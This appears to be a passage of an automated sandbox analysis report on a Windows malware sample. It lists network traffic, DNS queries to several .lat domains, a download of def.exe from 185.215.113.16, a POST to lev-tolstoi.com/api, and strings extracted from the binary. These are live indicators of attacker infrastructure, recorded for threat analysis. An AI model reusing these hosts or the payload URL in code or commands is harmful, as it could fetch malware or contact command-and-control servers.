Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: heckout.steampowered.com/ https://www.youtube.cos equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: observerfry.lat
Source: global traffic	DNS traffic detected: DNS query: wordyfindy.lat
Source: global traffic	DNS traffic detected: DNS query: slipperyloo.lat
Source: global traffic	DNS traffic detected: DNS query: manyrestro.lat
Source: global traffic	DNS traffic detected: DNS query: shapestickyr.lat
Source: global traffic	DNS traffic detected: DNS query: talkynicer.lat
Source: global traffic	DNS traffic detected: DNS query: curverpluch.lat
Source: global traffic	DNS traffic detected: DNS query: tentabatte.lat
Source: global traffic	DNS traffic detected: DNS query: bashfulacid.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: pVbAZEFIpI.exe, 00000000.00000002.1867685541.0000000001054000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795169101.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: pVbAZEFIpI.exe, 00000000.00000002.1867498123.0000000000EFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_116.6.dr	String found in binary or memory: http://schema.org/Organization
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_116.6.dr, chromecache_89.6.dr, chromecache_122.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_116.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.c
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: chromecache_116.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_116.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bashfulacid.lat:443/apir
Source: pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steam
Source: pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_121.6.dr, chromecache_101.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.f
Source: pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastT
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javas
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&am
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webuiD
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6T
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://curverpluch.lat:443/api
Source: pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
